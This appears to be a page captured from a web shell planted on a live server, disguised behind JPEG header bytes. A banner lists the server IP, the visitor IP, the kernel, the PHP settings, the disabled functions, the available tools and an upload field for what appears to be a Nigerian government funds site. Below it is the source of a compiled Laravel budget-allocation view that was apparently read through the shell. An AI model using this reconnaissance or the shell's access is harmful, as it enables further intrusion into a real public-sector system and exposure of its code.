ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.119.28.240 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('pageTitle'); ?> Budget Allocation <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div id="editModal" class="modal fade"> <div class="modal-dialog box box-default" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Update Monthly Allocation </h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="editBModal" name="editBModal" role="form" method="POST" action="<?php echo e(url('allocation/monthly')); ?>"> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <h4>Are you sure you want to approve this item?</h4> <input type="hidden" class="col-sm-9 form-control" id="UpdateID" name="U_id"> </div> <div class="modal-footer"> <button type="Submit" name="newinsert" class="btn btn-success">Save changes</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </div> </form> </div> </div> </div> <div id="uneditModal" class="modal fade"> <div class="modal-dialog box box-default" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Update Monthly Allocation </h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="editBModal" name="editBModal" role="form" method="POST" action="<?php echo e(url('allocation/monthly')); ?>"> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <h4>Are you sure you want to disapprove this record?</h4> <input type="hidden" class="col-sm-9 form-control" id="UpdateID" name="U_id"> </div> <div class="modal-footer"> <button type="Submit" name="disapprove" class="btn btn-success">Save changes</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </div> </form> </div> </div> </div> <div id="updateModal" class="modal fade"> <div class="modal-dialog box box-default" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Update Monthly Allocation </h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form class="form-horizontal" id="editBModal" name="editBModal" role="form" method="POST" action="<?php echo e(url('allocation/monthly')); ?>"> <?php echo e(csrf_field()); ?> <div class="form-group" style="margin: 0 10px;"> <label class="control-label">Enter Amount</label> <input type="hidden" class="col-sm-9 form-control" id="amount" name="oldamount"> <input type="text" class="col-sm-9 form-control" id="amounty" name="amount"> <input type="hidden" class="col-sm-9 form-control" id="E_id" name="E_id"> <input type="hidden" class="col-sm-9 form-control" id="budgetID" name="budgetID"> </div> <div class="modal-footer"> <button type="Submit" name="update" class="btn btn-success">Save changes</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> </div> <div id="delModal" class="modal fade"> <div class="modal-dialog box box-default" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Delete Contractor</h4> </div> <div class="modal-body"> <form class="form-horizontal" id="editLgaModal" name="editLgaModal" role="form" method="POST" action="<?php echo e(url('allocation/monthly')); ?>"> <?php echo e(csrf_field()); ?> <div class="form-group" style="margin: 0 10px;"> <h4>Are you sure you want to delete this item?</h4> <input type="hidden" class="col-sm-9 form-control" id="conID" name="B_id"> <input type="hidden" class="col-sm-9 form-control" id="status" name="status"> </div> <div class="modal-footer"> <button type="Submit" name="delete" class="btn btn-success">Continue ?</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> </div> <div class="box box-default"> <div class="box-body box-profile"> <div class="box-header with-border hidden-print"> <h3 class="box-title"><?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3> </div> <div class="box-body"> <div class="row"> <div class="col-md-12"><!--1st col--> <?php if($warning<>''): ?> <div class="alert alert-dismissible alert-danger"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><?php echo e($warning); ?></strong> </div> <?php endif; ?> <?php if($success<>''): ?> <div class="alert alert-dismissible alert-success"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><?php echo e($success); ?></strong> </div> <?php endif; ?> <?php if(count($errors) > 0): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <p><?php echo e($error); ?></p> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <?php endif; ?> <form class="form-horizontal" role="form" id="thisform1" name="thisform1" method="post" action="<?php echo e(url('allocation/monthly')); ?>"> <?php echo e(csrf_field()); ?> <div class="col-md-12"><!--2nd col--> <!-- /.row --> <div class="form-group"> <div class="col-md-2"> <label class="control-label">Period</label> <select name="year" class="form-control" id="year" onchange="ReloadForm()" required> <option Value="">Select Year</option> <?php for($i = 2018; $i < 2035; $i++): ?> <option value="<?php echo e($i); ?>" <?php echo e(($year) == $i ? "selected":""); ?>><?php echo e($i); ?></option> <?php endfor; ?> </select> </div> <div class="col-md-2"> <label class="control-label"><?php echo e($month); ?>Month</label> <select class="form-control" id="month" name="month" onchange="ReloadForm()" required=""> <option value="" > Choose One</option> <option value="January" <?php echo e(($month) == 'January' ? "selected":""); ?> > January</option> <option value="February" <?php echo e(($month) == 'February' ? "selected":""); ?> > February</option> <option value="March" <?php echo e(($month) == 'March' ? "selected":""); ?> > March</option> <option value="April" <?php echo e(($month) == 'April' ? "selected":""); ?> > April</option> <option value="May" <?php echo e(($month) == 'May' ? "selected":""); ?> > May</option> <option value="June" <?php echo e(($month) == 'June' ? "selected":""); ?> > June</option> <option value="July" <?php echo e(($month) == 'July' ? "selected":""); ?> > July</option> <option value="August" <?php echo e(($month) == 'August' ? "selected":""); ?> > August</option> <option value="September" <?php echo e(($month) == 'September' ? "selected":""); ?> > September</option> <option value="October" <?php echo e(($month) == 'October' ? "selected":""); ?> > October</option> <option value="November" <?php echo e(($month) == 'November' ? "selected":""); ?> > November</option> <option value="December" <?php echo e(($month) == 'December' ? "selected":""); ?> > December</option> </select> </div> <div class="col-md-3"> <label>Budget Type</label> <select name="budgettype" id="budgettype" class="form-control" onchange ="ReloadForm();"> <option value="" selected>-All-</option> <?php $__currentLoopData = $BudgetType; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($b->ID); ?>" <?php echo e(($budgettype) == $b->ID? "selected":""); ?>><?php echo e($b->contractType); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> <div class="col-md-4"> <label class="control-label">Economics Vote</label> <select class="form-control" id="single" name="single" onchange="ReloadForm()"> <option value="" > All</option> <?php $__currentLoopData = $BudgetSingle; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($list->b_id); ?>" <?php echo e(($single) == $list->b_id? "selected":""); ?>><?php echo e($list->economicCode); ?> - <?php echo e($list->description); ?> </option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> </div> </div> <!-- /.col --> </div> <!-- /.row --> <div class="table-responsive col-md-12" style="font-size: 12px; padding:10px;"> <table class="table table-bordered table-striped table-highlight" > <form method="post" id="form2" name="form2"> <?php echo e(csrf_field()); ?> <div class="col-md-6"></div> <div class="col-md-6 " > <div class="col-md-0 pull-right" style="margin:2px;" > <button class="btn btn-success " type="submit" id="" value="" name="insert"> Approve <i class="fa fa-check"></i> </button> <button class="btn btn-success " type="submit" id="" value="" name="uninsert"> Reverse <i class="fa fa-check"></i> </button> </div> <div class="col-md-0 checkbox pull-right" style="margin:2px;"> <label class="text-primary" for="check-all"> <input type="checkbox" class="checkitem" id="toggle" value="select" onClick="do_this()">CheckAll </label> </div> </div> <thead> <tr bgcolor="#c7c7c7"> <th >S/N</th> <th > Year</th> <th > Month</th> <th > Economic Code</th> <th > Status</th> <th > Total Budget</th> <th > Total Alloted<br> Janauary to <?php echo e($month); ?></th> <th > Total Alloted<br> this year</th> <th > Total Pending <br> this year</th> <th > Allocation this Month</th> <th > Action</th> </tr> </thead> <?php $i=1;?> <?php $tval=0;?> <?php $tbt=0;?> <?php $taltd=0;?> <?php $taltdm=0;?> <?php $tpending=0;?> <?php $__currentLoopData = $budget; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $con): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php $tval+=$con->amount;?> <?php $tbt+=$con->allocationValue;?> <?php $taltd+=$con->thisyearalloted;?> <?php $taltdm+=$con->allotedtodate;?> <?php $tpending+=$con->allocationValue-$con->thisyearalloted;?> <tr> <td><?php echo e($i++); ?></td> <td><?php echo e($con->year); ?></td> <td><?php echo e($con->month); ?></td> <td><?php echo e($con->economicCode); ?> - <?php echo e($con->description); ?> </td> <td> <?php if($con->stat == 1): ?> <b><span class="text-success">Approved</span></b> <?php else: ?> <b><span class="text-danger">Pending</span></b> <?php endif; ?> </td> <td style ="text-align: right">₦ <?php echo e(number_format($con->allocationValue,2)); ?></td> <td style ="text-align: right">₦ <?php echo e(number_format($con->allotedtodate,2)); ?></td> <td style ="text-align: right">₦ <?php echo e(number_format($con->thisyearalloted,2)); ?></td> <td style ="text-align: right">₦ <?php echo e(number_format($con->allocationValue-$con->thisyearalloted,2)); ?></td> <td style ="text-align: right">₦ <?php echo e(number_format($con->amount,2)); ?> <button style="align:right;" type="button" class="btn btn-info fa fa-edit" onclick="updatefunc( '<?php echo e($con->mID); ?>','<?php echo e($con->amount); ?>','<?php echo e($con->amount); ?>','<?php echo e($con->budgetID); ?>')" class="" id=""></button> </td> <td> <?php if($con->stat == 0): ?> <input type="checkbox" name="checkbox[]" value="<?php echo e($con->mID); ?>"> <button type="button" class="btn btn-success fa fa-edit" onclick="editfunc('<?php echo e($con->mID); ?>' )" class="" id=""> Approve</button> <?php else: ?> <input type="checkbox" name="checkbox[]" value="<?php echo e($con->mID); ?>"> <button type="button" class="btn btn-success fa fa-edit" onclick="Uneditfunc('<?php echo e($con->mID); ?>' )" class="" id=""> Reverse</button> <?php endif; ?> </td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <tr> <td colspan=5>Total this month</td> <td><b><?php echo e(number_format($tbt,2)); ?></b></td> <td><b><?php echo e(number_format($taltdm,2)); ?></b></td> <td><b><?php echo e(number_format($taltd,2)); ?></b></td> <td><b><?php echo e(number_format($tpending,2)); ?></b></td> <td><b><?php echo e(number_format($tval,2)); ?></b></td> </tr> </table> </form> <div > <div class="hidden-print"><?php echo e($budget->links()); ?></div> Showing <?php echo e(($budget->currentpage()-1)*$budget->perpage()+1); ?> to <?php echo e($budget->currentpage()*$budget->perpage()); ?> of <?php echo e($budget->total()); ?> entries </div> </div> <hr /> </div> </div> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('styles'); ?> <style type="text/css"> .modal-dialog { width:15cm } .modal-header { background-color: #20b56d; color:#FFF; } </style> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>"> <script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/js/bootstrap-datepicker.js"></script> <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script> <script> function do_this(){ var checkboxes = document.getElementsByName('checkbox[]'); var button = document.getElementById('toggle'); if(button.value == 'select'){ for (var i in checkboxes){ checkboxes[i].checked = 'FALSE'; } button.value = 'deselect' }else{ for (var i in checkboxes){ checkboxes[i].checked = ''; } button.value = 'select'; } } function ReloadForm() { document.getElementById('thisform1').submit(); return; } function ReloadForm2() { document.getElementById('editBModal').submit(); return; } function editfunc(a) { $(document).ready(function(){ $('#UpdateID').val(a); $("#editModal").modal('show'); }); } function Uneditfunc(a) { $(document).ready(function(){ $('#UpdateID').val(a); $("#uneditModal").modal('show'); }); } function updatefunc(a,b,c,d) { $(document).ready(function(){ $('#E_id').val(a); $('#amount').val(b); $('#amounty').val(c); $('#budgetID').val(d); $("#updateModal").modal('show'); }); } function delfunc(a,b) { $(document).ready(function(){ $('#conID').val(a); $('#status').val(b); $("#delModal").modal('show'); }); } window.onload = function() { var selItem = sessionStorage.getItem("SelItem"); $('#periody').val(selItem); } $('#periody').change(function() { var selVal = $(this).val(); sessionStorage.setItem("SelItem", selVal); }); </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\wamp64\www\funds-upgrade\funds-upgraded\resources\views/allocation/monthly.blade.php ENDPATH**/ ?>